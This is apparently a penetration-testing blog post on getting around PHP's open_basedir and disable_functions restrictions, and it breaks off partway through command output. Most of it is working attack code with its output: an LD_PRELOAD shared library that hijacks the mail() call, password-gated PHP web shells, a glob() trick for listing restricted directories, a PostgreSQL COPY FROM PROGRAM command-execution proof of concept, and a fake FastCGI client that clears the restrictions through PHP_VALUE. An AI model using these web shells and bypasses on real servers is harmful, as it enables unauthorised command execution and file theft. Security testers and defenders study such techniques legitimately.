TL;DR: This blog post will cover some open_basedir bypass techniques and also some disable_functions as bonus.

0x01: Introduction

Sometimes it is possible to place a PHP file on a web server during a pentest with the aim to achieve code execution. Unfortunately, or “lucky” for the client, PHP is configured to disabled most of the common techniques to execute system commands. The most common settings are open_basedir and disable_functions. The open_basedir option, that can define in the ‘php.ini’ file, will disable the realpath cache. As a result, this option defines the location or paths from which PHP is allowed to access files using PHP functions like fopen() or basedir(). This is really annoying because this function will prevent a PHP script/command to access files like '/etc/passwd' or config files etc. which can be really useful during an assessment. The disable_functions will, as the name already suggests, disable harmful functions such as system() and exec().

0x02: Get a list of ‘disable_functions’

A good point to start is to figure out which kind of functions are disabled; the easiest way is by using a simple phpinfo(); or a ini_get() to get the juicy information. A sample output could look like:

php > echo ini_get('disable_functions');
dbase_open, dbmopen, diskfreespace, disk_free_spspace, disk_total_space, dl, exec, filepro, filepro_retrieve, filepro_rowcount, get_cfg_var, getlastmo,  getmygid, getmyinode, getmypid, getmyuid, int_restore, link,  opcache_compile_file, opcache_get_configuration, opcache_get_status,  openlog, parse_ini_file, passthru, pcntl_exec, pcntl_fork, pfsockopen, popen, posix_getlogin, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_ttyname, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, show_source, symlink, syslog, system, umask 
php >

If we try to use common functions like system() or exec() PHP will drop an error message:

php > system("id");
PHP Warning:  system() has been disabled for security reasons in php shell code on line 1
php >

0x03: Bypass ‘disable_functions’ via ‘LD_PRELOAD’

Method one - ‘LD_PRELOAD’ with ‘sendmail()’

Dynamic link libraries are common in UNIX environments and ‘LD_PRELOAD’ is an interesting environment variable that can affect links at runtime which is very nice and allows to define dynamic link libraries that load first before the program runs.

In this case, we need a function that can we hook and can be triggered through a PHP function. A good candidate for this purpose is the mail() function in PHP which often use sendmail as Mail Transfer Agent (MTA). By using the readelf command we are able to see which library functions are called by sendmail. This is necessary to find an appropriate system function that we can hook to get code execution :)

root@9e0e2f2defc1:/tmp/test# readelf -Ws /usr/sbin/sendmail

Symbol table '.dynsym' contains 345 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@GLIBC_2.2.5 (3)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __res_query@GLIBC_2.2.5 (9)
     3: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.2.5 (3)
     4: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND ber_pvt_opt_on@OPENLDAP_2.4_2 (11)
     5: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND stdin@GLIBC_2.2.5 (3)
     6: 0000000000000000     0 OBJECT  WEAK   DEFAULT  UND _environ@GLIBC_2.2.5 (3)
        [...]
   142: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND geteuid@GLIBC_2.2.5 (3)
   143: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND X509_verify_cert@OPENSSL_1.0.0 (7)
   [...]

The geteuid() system function looks quite good for this purpose. And a sample hook file could look like:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int geteuid() {
    const char* cmd = getenv("CMD");
    if (getenv("LD_PRELOAD") == NULL)
        return 0;

    unsetenv("LD_PRELOAD");
    system(cmd);
}

When the geteuid() function in a shared library will call by a PHP script the library try to load the system() system function and execute the given command; stored in the environment variable ‘CMD’. The hook can easily compile with gcc:

root@9e0e2f2defc1:/tmp/test# gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

A simple PHP script could look like:

<?php
        $pwd = "ThisIsASuperPassword";
        $lib = "bypass_disablefunc.so";
        
        if (isset($_POST['pwd']) && $_POST['pwd'] == $pwd) {
               $cmd = $_POST["cmd"];
               if (isset($cmd)) {
                       echo "[+] Executed command: " . $cmd . "\n";
                       
               if (!putenv("CMD=" . $cmd))
                       die("[!] putenv CMD failed\n");

               if (!putenv("LD_PRELOAD=" . getcwd() . "/" . $lib))
                       die("[!] putenv LD_PRELOAD failed\n");

                       mail("", "", "", "");
                       echo "[+] CMD => " . getenv("CMD") . "\n";
                       echo "[+] LD_PRELOAD => " . getenv("LD_PRELOAD") . "\n";
               }
        }
?>

After the shared library and the PHP script is upload to the web server we should be able to execute commands and bypass the disable_functions restriction in PHP:

root@9e0e2f2defc1:/tmp/test# time curl "http://127.0.0.1:8080/test.php" -d "pwd=ThisIsASuperPassword&cmd=sleep+4"
[+] Executed command: sleep 4
[+] CMD => sleep 4
[+] LD_PRELOAD => /tmp/test/bypass_disablefunc.so

real    0m4.077s
user    0m0.004s
sys     0m0.015s
root@9e0e2f2defc1:/tmp/test#

In some situation, it can take a bit more time because we have not defined a recipient address in the PHP mail() function of the PHP script. The mail() function will wait until sendmail occurs with an error message that no recipient addresses were found in the header.

$ strace -e trace=getuid,execve,process -f php –d 'disable_functions=dbase_open,dbmopen,diskfreespace,disk_free_spspace,disk_total_space,dl,exec,filepro,filepro_retrieve,filepro_rowcount,
get_cfg_var,getlastmo,getmygid,getmyinode,getmypid,getmyuid,int_restore,link,opcache_compile_file,opcache_get_configuration,opcache_get_status,openlog,parse_ini_file,passthru,pcntl_exec,
pcntl_fork,pfsockopen,popen,posix_getlogin,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_ttyname,posix_uname,proc_close,
proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,syslog,system,umask' -S 127.0.0.1:8080
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f84b51b1a10) = 740
wait4(740, strace: Process 740 attached
<unfinished ...>
[pid   740] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 17 vars */]) = 0
[pid   740] arch_prctl(ARCH_SET_FS, 0x7f616b5a1700) = 0
[pid   740] clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffd08da36dc) = 741
[pid   740] wait4(741, strace: Process 741 attached
<unfinished ...>
[pid   741] execve("/bin/sh", ["sh", "-c", "exit 0"], [/* 16 vars */]) = 0
[pid   741] arch_prctl(ARCH_SET_FS, 0x7fa438611480) = 0
[pid   741] exit_group(0)               = ?
[pid   741] +++ exited with 0 +++
[pid   740] <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 741
[pid   740] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=741, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
[pid   740] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f616b5a19d0) = 742
[pid   740] wait4(-1, strace: Process 742 attached
<unfinished ...>
[pid   742] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 16 vars */]) = 0
[pid   742] arch_prctl(ARCH_SET_FS, 0x7fe3ab0ad700) = 0
[pid   742] getuid()                    = 0
[pid   742] getuid()                    = 110
[pid   742] getuid()                    = 110
No recipient addresses found in header
[pid   742] exit_group(0)               = ?
[pid   742] +++ exited with 0 +++
[pid   740] <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 742
[pid   740] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=742, si_uid=110, si_status=0, si_utime=0, si_stime=0} ---
[pid   740] exit_group(0)               = ?
[pid   740] +++ exited with 0 +++
<... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 740
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=740, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
[Fri Jun 14 15:58:06 2019] 127.0.0.1:41490 [200]: /test.php
--- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
--- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
strace: Process 739 detached

Method two - ‘LD_PRELOAD’ without ‘sendmail’

What happen if sendmail is not installed on the server and we try the approach describe in method one? The answer is pretty simple; nothing :-). The PHP wrapper will drop an error message such as sh: 1: /usr/sbin/sendmail: not found and our hooked geteuid() will never execute. As a result, no command execution.

Fortunately we can use the concept of __attribute__ ((__constructor__)) to hijack the new started process triggered by the mail() function before the main function runs. When mail() tries to start a new child process, our shared library is loaded as well.

The new shared library with the concept of __attribute__ ((__constructor__)) could look like:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void hellyeah (void){
        unsetenv("LD_PRELOAD");
        const char* cmd = getenv("CMD");
        system(cmd);
}

If we now trigger the uploaded PHP script the __attribute__ ((__constructor__)) concept will kick in and we got code execution again \m/.

root@9e0e2f2defc1:/tmp/test# curl "http://127.0.0.1:8080/test.php" -d "pwd=ThisIsASuperPassword&cmd=id"
[+] Executed command: id
[+] CMD => id
[+] LD_PRELOAD => /tmp/test/bypass_disablefunc.so
root@9e0e2f2defc1:/tmp/test#

[...]

$ strace -e trace=getuid,execve,process -f php -d 'disable_functions=dbase_open,dbmopen,diskfreespace,disk_free_spspace,disk_total_space,dl,exec,filepro,filepro_retrieve,filepro_rowcount,
get_cfg_var,getlastmo,getmygid,getmyinode,getmypid,getmyuid,int_restore,link,opcache_compile_file,opcache_get_configuration,opcache_get_status,openlog,parse_ini_file,passthru,pcntl_exec,
pcntl_fork,pfsockopen,popen,posix_getlogin,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_ttyname,posix_uname,proc_close,
proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,syslog,system,umask' -S 127.0.0.1:8080
execve("/usr/bin/php", ["php", "-d", "disable_functions=dbase_open,dbm"..., "-S", "127.0.0.1:8080"], [/* 15 vars */]) = 0
arch_prctl(ARCH_SET_FS, 0x7fcebc154740) = 0
PHP 7.0.33-0+deb9u3 Development Server started at Fri Jun 14 23:13:13 2019
Listening on http://127.0.0.1:8080
Document root is /root
Press Ctrl-C to quit.
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fcebc154a10) = 12033
wait4(12033, uid=0(root) gid=0(root) groups=0(root)
sh: 1: /usr/sbin/sendmail: not found
[{WIFEXITED(s) && WEXITSTATUS(s) == 127}], 0, NULL) = 12033
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12033, si_uid=0, si_status=127, si_utime=0, si_stime=0} ---
[Fri Jun 14 23:13:17 2019] 127.0.0.1:39266 [200]: /test.php

0x04: Bypass ‘open_basedir’ via ‘glob()’

One nice PHP function that can be used to bypass open_basedir is glob() [1]. Here a short description from the official PHP documentation [2]:

The ‘glob()’ function searches for all the pathnames matching pattern according to the rules used by the libc ‘glob()’ function, which is similar to the rules used by common shells.

Unfortunately, the glob() function allows us only to list directory and files and not more. We' will don’t have the capability to read any files by using the glob() function but we will see later in this blog post that we can combine this function to get code execution in some circumstances.

If we use scandir() for example, PHP will fail with the following error messages:

root@6258faa4f925:/var/www/html/docroot# php -d 'open_basedir=/var/www/html/docroot' -a
Interactive mode enabled

php > scandir('/etc/');
PHP Warning:  scandir(): open_basedir restriction in effect. File(/etc/) is not within the allowed path(s): (/var/www/html/docroot) in php shell code on line 1
PHP Warning:  scandir(/etc/): failed to open dir: Operation not permitted in php shell code on line 1
PHP Warning:  scandir(): (errno 1): Operation not permitted in php shell code on line 1
php > 

But if we use glob() and the DirectoryIterator() class we are able to display content from directories though the defined path in open_basedir don’t allow it:

php > $p = new DirectoryIterator("glob:///e??/*");
php > foreach ($p as $c) { echo $c->__toString() . "\n"; }
X11
adduser.conf
alternatives
apache2
apparmor
apparmor.d
apt
bash.bashrc
bash_completion.d
bindresvport.blacklist
blkid.conf
[...]

A relative path like '/etc/' will not work due to open_basedir restrictions but we can still use wildcards [3] like ‘??’. In point 0x03 we can see how useful this technique can be :).

0x05: Bypass ‘open_basedir’ and ‘disable_functions’ via PDO -> PostgreSQL

This technique will use the ability to access a PostgreSQL server to read and execute arbitrary commands in the context of the connected database user before we are able to use this technique, some restrictions and requirements have to fulfill for successful exploitation. Following points are necessary at least:

  1. The application have to use PostgreSQL as database management system (DBMS);
  2. We need to know the credentials to connect to the DBMS;
  3. The database user have to be part of the pg_read_server_files or/and pg_execute_server_program role or must be a superuser;
  4. The running PostgreSQL version must be 9.3 or higher to support the ‘PROGRAM’ parameter of the ‘COPY’ command [4];
  5. The PHP Data Objects (PDO) driver to access the PostgreSQL server must be installed and enable. The phpinfo() is your friend;

If all conditions are fulfilled we are able to read files and execute arbitrary commands. This could be also really cool if the DBMS is hosted on another server rather than the web application. This could allow an attacker to escalate the privileges in the company network. But please keep in mind, the access to the DBMS could be out of scope especially if the DBMS is hosted on a different server.

The ‘COPY’ function can be used, as the name already mentioned, to copy data between a file and table. A short description of the official PostgreSQL documentation [3]:

‘COPY’ moves data between PostgreSQL tables and standard file-system files. ‘COPY TO’ copies the contents of a table to a file, while COPY FROM copies data from a file to a table […] When ‘PROGRAM’ is specified, the server executes the given command and reads from the standard output of the program, or writes to the standard input of the program.

As I mentioned in point 3, the database user must be part of the pg_read_server_files, pg_execute_server_program role or a superuser. If not the ‘COPY’ command will fail as shown below:

test=> \duS test
           List of roles
Role name | Attributes | Member of 
----------+------------+-----------
test      |            | {}

test=> CREATE TABLE poc(test TEXT);
CREATE TABLE
test=> COPY poc FROM PROGRAM 'id';
ERROR:  must be superuser to COPY to or from an external program
HINT:  Anyone can COPY to stdout or from stdin. psql's \copy command also works for anyone.
test=> 

The role is available in PostgreSQL 11 and higher [5]. If the current user is part of the role or has superuser privileges, we are able to read and execute commands:

postgres=# SELECT version();
                                            version                                             
------------------------------------------------------------------------------------------------
PostgreSQL 9.5.6 on x86_64-pc-linux-gnu, compiled by gcc (Alpine 6.2.1) 6.2.1 20160822, 64-bit
(1 row)

postgres=# ALTER USER test WITH SUPERUSER;
ALTER ROLE
postgres=# \duS test
           List of roles
Role name | Attributes | Member of 
----------+------------+-----------
test      | Superuser  | {}

postgres=# 

[...]

test=# COPY public.poc FROM PROGRAM 'id';
COPY 1
test=# SELECT * FROM public.poc;
               test                
-----------------------------------
uid=70(postgres) gid=70(postgres)
(1 row)

test=# 

Or if we just want to read files and bypassing the ‘open_basedir’ restriction:

test=# COPY public.poc from '/etc/passwd';
COPY 28
test=# SELECT * FROM public.poc LIMIT 5;
                   test                   
------------------------------------------
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
(5 rows)

test=# 

A proof-of-concept to execute arbitrary commands could look like:

<?php
        $dbhost = $_POST['host'];
        $dbuser = $_POST['user'];
        $dbpass = $_POST['pass'];
        $cmd = $_POST['cmd'];

        if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($cmd)) {
                echo sprintf("[+] Connect to: %s\n", $dbhost);
                $dbh = new PDO("pgsql:host=" . $dbhost, $dbuser, $dbpass);

                echo("[+] Create temp table...\n");
                $query = "CREATE TABLE PoC(test TEXT)";
                $res = $dbh->query($query);

                echo sprintf("[+] Execute command: %s\n", $cmd);
                $query = "COPY public.PoC FROM PROGRAM '" . $cmd . "'";
                $res = $dbh->query($query) or die("[!] COPY fail...\n");

                echo("[+] Get content of the temp table:\n\n");
                $query = "SELECT * FROM public.PoC";
                $res = $dbh->query($query);

                $c = $res->fetchAll();
                foreach ($c as $row => $link) {
                    echo $link["test"] . "\n";
                }

                echo("\n[+] Remove temp table...\n");
                $query = "DROP TABLE public.PoC";
                $res = $dbh->query($query);
                $dbh = null;
        }
?>

After the PHP script is uploaded to the web server we should be able to execute commands in the context of the DBMS user:

~ # curl "http://127.0.0.1:8080/poc.php" -d "host=127.0.0.1&user=test&pass=h3Lly34h7H15154r34lly900DPwD&cmd=id"
[+] Connect to: 127.0.0.1
[+] Create temp table...
[+] Execute command: id
[+] Get content of the temp table:

uid=70(postgres) gid=70(postgres)

[+] Remove temp table...
~ #

0x06: Bypass ‘open_basedir’ and ‘disable_functions’ via FPM/FastCGI

During my research, I’ve found a technique that allows connecting to the FastCGI Process Manager (FPM) socket. This allows us to change PHP settings for example ‘open_basedir’ or ‘disable_functions’ to our desired value. The described technique in this chapter will only work when PHP use FPM/FastCGI as server API.

FPM is a PHP FastCGI implementation with some features useful for heavy-loaded sites. Usually, PHP-FPM is a service of multiple processes. That means there are several workers who deal with requests and one master to manage those workers. To get an overview and the information or each worker processes, FPM uses structures of fpm_scoreboard_s and fpm_scoreboard_proc_s [6] to record their statuses.

The diagram below depicts how PHP-FPM deal with client requests:

php-fpm
Figure 1 - Client requests dealt by PHP-FPM

First of all, the HTTP request would be converted to the format of FastCGI by the web server worker (in this example Apache) and be sent to FPM worker. There are two kinds of socket implemented on FPM:

  • A TCP socket (127.0.0.1:9000); and
  • A UNIX socket (e.g. unix:///var/run/php7-fpm.sock);

If we know one of the sockets, we would be able to connect to the socket and communicate through the socket with FPM-PHP. So far so good, but how this allows us to bypass open_basedir or even any PHP restriction? Before we are able to answer this question we have to know how a typical FastCGI request looks like. FastCGI supports several types of FastCGI requests [7]:

typedef enum _fcgi_request_type {
        FCGI_BEGIN_REQUEST      =  1, /* [in]                              */
        FCGI_ABORT_REQUEST      =  2, /* [in]  (not supported)             */
        FCGI_END_REQUEST        =  3, /* [out]                             */
        FCGI_PARAMS             =  4, /* [in]  environment variables       */
        FCGI_STDIN              =  5, /* [in]  post data                   */
        FCGI_STDOUT             =  6, /* [out] response                    */
        FCGI_STDERR             =  7, /* [out] errors                      */
        FCGI_DATA               =  8, /* [in]  filter data (not supported) */
        FCGI_GET_VALUES         =  9, /* [in]                              */
        FCGI_GET_VALUES_RESULT  = 10  /* [out]                             */
} fcgi_request_type;

In general, the FastCGI type ‘FCGI_BEGIN_REQUEST’ would be the first request to be sent [8]:

typedef struct _fcgi_begin_request_rec {
        fcgi_header hdr;
        fcgi_begin_request body;
} fcgi_begin_request_rec;

This type of request contains a header and body value. The header would show their version, type request-id, and length. The body would show the data of this type, for example, the environment variables (e.g $_SERVER) in the format of key-value and would be shown in type 4 (‘FCGI_PARAMS’) of the request types. Since the PHP version 5.3.3, PHP-FPM is supported [9] and we are able to read and to set environment variables as well. In the context of PHP, this means we can set the value of ‘PHP_VALUE’. Setting this value allows us to activate new PHP extensions and also to change the ‘open_basedir’ value, for more information please refer to the official documentation [10].

Long story short, a fake FastCGI which use the UNIX socket could look like:

<?php

/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr> 
* @version     1.0
*/
class FCGIClient
{
        const VERSION_1            = 1;

        const BEGIN_REQUEST        = 1;
        const ABORT_REQUEST        = 2;
        const END_REQUEST          = 3;
        const PARAMS               = 4;
        const STDIN                = 5;
        const STDOUT               = 6;
        const STDERR               = 7;
        const DATA                 = 8;
        const GET_VALUES           = 9;
        const GET_VALUES_RESULT    = 10;
        const UNKNOWN_TYPE         = 11;
        const MAXTYPE              = self::UNKNOWN_TYPE;

        const RESPONDER            = 1;
        const AUTHORIZER           = 2;
        const FILTER               = 3;

        const REQUEST_COMPLETE     = 0;
        const CANT_MPX_CONN        = 1;
        const OVERLOADED           = 2;
        const UNKNOWN_ROLE         = 3;

        const MAX_CONNS            = 'MAX_CONNS';
        const MAX_REQS             = 'MAX_REQS';
        const MPXS_CONNS           = 'MPXS_CONNS';

        const HEADER_LEN           = 8;

        /**
        * Socket
        * @var Resource
        */
        private $_sock = null;

        /**
        * Host
        * @var String
        */
        private $_host = null;

        /**
        * Port
        * @var Integer
        */
        private $_port = null;

        /**
        * Keep Alive
        * @var Boolean
        */
        private $_keepAlive = false;

        /**
        * Constructor
        *
        * @param String $host Host of the FastCGI application
        * @param Integer $port Port of the FastCGI application
        */
        public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
        {
               $this->_host = $host;
               $this->_port = $port;
        }

        /**
        * Define whether or not the FastCGI application should keep the connection
        * alive at the end of a request
        *
        * @param Boolean $b true if the connection should stay alive, false otherwise
        */
        public function setKeepAlive($b)
        {
               $this->_keepAlive = (boolean)$b;
               if (!$this->_keepAlive && $this->_sock) {
                       fclose($this->_sock);
               }
        }

        /**
        * Get the keep alive status
        *
        * @return Boolean true if the connection should stay alive, false otherwise
        */
        public function getKeepAlive()
        {
               return $this->_keepAlive;
        }

        /**
        * Create a connection to the FastCGI application
        */
        private function connect()
        {
               if (!$this->_sock) {
                       $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
                       if (!$this->_sock) {
                               throw new Exception('Unable to connect to FastCGI application');
                       }
               }
        }

        /**
        * Build a FastCGI packet
        *
        * @param Integer $type Type of the packet
        * @param String $content Content of the packet
        * @param Integer $requestId RequestId
        */
        private function buildPacket($type, $content, $requestId = 1)
        {
               $clen = strlen($content);
               return chr(self::VERSION_1)         /* version */
                       . chr($type)                    /* type */
                       . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
                       . chr($requestId & 0xFF)        /* requestIdB0 */
                       . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
                       . chr($clen & 0xFF)             /* contentLengthB0 */
                       . chr(0)                        /* paddingLength */
                       . chr(0)                        /* reserved */
                       . $content;                     /* content */
        }

        /**
        * Build an FastCGI Name value pair
        *
        * @param String $name Name
        * @param String $value Value
        * @return String FastCGI Name value pair
        */
        private function buildNvpair($name, $value)
        {
               $nlen = strlen($name);
               $vlen = strlen($value);
               if ($nlen < 128) {
                       /* nameLengthB0 */
                       $nvpair = chr($nlen);
               } else {
                       /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
                       $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
               }
               if ($vlen < 128) {
                       /* valueLengthB0 */
                       $nvpair .= chr($vlen);
               } else {
                       /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
                       $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
               }
               /* nameData & valueData */
               return $nvpair . $name . $value;
        }

        /**
        * Read a set of FastCGI Name value pairs
        *
        * @param String $data Data containing the set of FastCGI NVPair
        * @return array of NVPair
        */
        private function readNvpair($data, $length = null)
        {
               $array = array();

               if ($length === null) {
                       $length = strlen($data);
               }

               $p = 0;

               while ($p != $length) {

                       $nlen = ord($data{$p++});
                       if ($nlen >= 128) {
                               $nlen = ($nlen & 0x7F << 24);
                               $nlen |= (ord($data{$p++}) << 16);
                               $nlen |= (ord($data{$p++}) << 8);
                               $nlen |= (ord($data{$p++}));
                       }
                       $vlen = ord($data{$p++});
                       if ($vlen >= 128) {
                               $vlen = ($nlen & 0x7F << 24);
                               $vlen |= (ord($data{$p++}) << 16);
                               $vlen |= (ord($data{$p++}) << 8);
                               $vlen |= (ord($data{$p++}));
                       }
                       $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
                       $p += ($nlen + $vlen);
               }

               return $array;
        }

        /**
        * Decode a FastCGI Packet
        *
        * @param String $data String containing all the packet
        * @return array
        */
        private function decodePacketHeader($data)
        {
               $ret = array();
               $ret['version']       = ord($data{0});
               $ret['type']          = ord($data{1});
               $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
               $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
               $ret['paddingLength'] = ord($data{6});
               $ret['reserved']      = ord($data{7});
               return $ret;
        }

        /**
        * Read a FastCGI Packet
        *
        * @return array
        */
        private function readPacket()
        {
               if ($packet = fread($this->_sock, self::HEADER_LEN)) {
                       $resp = $this->decodePacketHeader($packet);
                       $resp['content'] = '';
                       if ($resp['contentLength']) {
                               $len  = $resp['contentLength'];
                               while ($len && $buf=fread($this->_sock, $len)) {
                                      $len -= strlen($buf);
                                      $resp['content'] .= $buf;
                               }
                       }
                       if ($resp['paddingLength']) {
                               $buf=fread($this->_sock, $resp['paddingLength']);
                       }
                       return $resp;
               } else {
                       return false;
               }
        }

        /**
        * Get Informations on the FastCGI application
        *
        * @param array $requestedInfo information to retrieve
        * @return array
        */
        public function getValues(array $requestedInfo)
        {
               $this->connect();

               $request = '';
               foreach ($requestedInfo as $info) {
                       $request .= $this->buildNvpair($info, '');
               }
               fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

               $resp = $this->readPacket();
               if ($resp['type'] == self::GET_VALUES_RESULT) {
                       return $this->readNvpair($resp['content'], $resp['length']);
               } else {
                       throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
               }
        }

        /**
        * Execute a request to the FastCGI application
        *
        * @param array $params Array of parameters
        * @param String $stdin Content
        * @return String
        */
        public function request(array $params, $stdin)
        {
               $response = '';
               $this->connect();

               $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));

               $paramsRequest = '';
               foreach ($params as $key => $value) {
                       $paramsRequest .= $this->buildNvpair($key, $value);
               }
               if ($paramsRequest) {
                       $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
               }
               $request .= $this->buildPacket(self::PARAMS, '');

               if ($stdin) {
                       $request .= $this->buildPacket(self::STDIN, $stdin);
               }
               $request .= $this->buildPacket(self::STDIN, '');

               fwrite($this->_sock, $request);

               do {
                       $resp = $this->readPacket();
                       if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                               $response .= $resp['content'];
                       }
               } while ($resp && $resp['type'] != self::END_REQUEST);

               if (!is_array($resp)) {
                       throw new Exception('Bad request');
               }

               switch (ord($resp['content']{4})) {
                       case self::CANT_MPX_CONN:
                               throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                               break;
                       case self::OVERLOADED:
                               throw new Exception('New request rejected; too busy [OVERLOADED]');
                               break;
                       case self::UNKNOWN_ROLE:
                               throw new Exception('Role value not known [UNKNOWN_ROLE]');
                               break;
                       case self::REQUEST_COMPLETE:
                               return $response;
               }
        }
}
?>

<?php
        $filepath = getcwd() . '/tmp.php';
        $req = '/' . basename($filepath);
        $uri = $req;
        $client = new FCGIClient("unix:///var/run/php/php7.1-fpm.sock", -1);

        $php_value = "open_basedir=/\ndisable_functions=\"\"";

$params = array(       
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => 'exploit',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9000',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
);
$client->request($params, NULL);

The fake FastCGI can we include to an existed PHP script to overwrite the disable_functions and open_basedir value. The most important values in the fake FastCGI are:

[...]
<?php
        $filepath = getcwd() . '/tmp.php'; // (1)
        [...]
        $client = new FCGIClient("unix:///var/run/php/php7.1-fpm.sock", -1); // (2)

        $php_value = "allow_url_include=On\nopen_basedir=/\ndisable_functions=\"\""; // (3)

$params = array( 
        [...]
        'SCRIPT_FILENAME'   => $filepath, // (4)
        [...]
        'PHP_VALUE'         => $php_value, // (5)
        [...]
);
[...]

The first point (1) is one of the important things because you cannot use the exploit file itself as the ‘SCRIPT_FILENAME’ (4). When this happens the server will answer with a “500 internal server error” due to a request deadlock. For this purpose, I’ve used the existing file ‘tmp.php’. The content of the ‘tmp.php’ file is not important. Did you remember the glob() function from point 0x01? Yes? - perfect :) because we can use the technique to find the unix socket (2) which is necessary to establish a connection to PHP-FPM. Point (3) is your desire ‘PHP_VALUE’s (5).

In this example we change the open_basedir value to '/' rather the original restricted folder set in the php.ini. Furthermore, we change the disable_functions to “”. The changed settings would change until the FPM service is reloaded or restarted. A sample script that include the fake FastCGI could look like:

<?php
        include(getcwd() . "/fcgi.php");
        $pwd = "85591a62f6920b4ec474a9c3feea380d";

        if (isset($pwd) && isset($_POST['pwd']) == $pwd) {
               $cmd = $_POST['cmd'];
               if (isset($cmd))
                       system($cmd);
        } else {
               echo sprintf("PHP version (must >= 5.3.3): %s\n", phpversion());
               echo sprintf("PHP SAPI Name (must fpm-cgi): %s\n", php_sapi_name());
               echo sprintf("disable_functions: %s\n", ini_get("disable_functions") ? ini_get("disable_functions") : "no values");
               echo sprintf("open_basedir: %s\n", ini_get("open_basedir"));
        }
?>

If we execute the PHP script, that includes the fake FastCGI, the FastCGI client will overwrite our restriction:

~# curl -s "http://127.0.0.1:8080/poc.php" 
PHP version (must >= 5.3.3): 7.1.0RC2
PHP SAPI Name (must fpm-cgi): fpm-fcgi
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
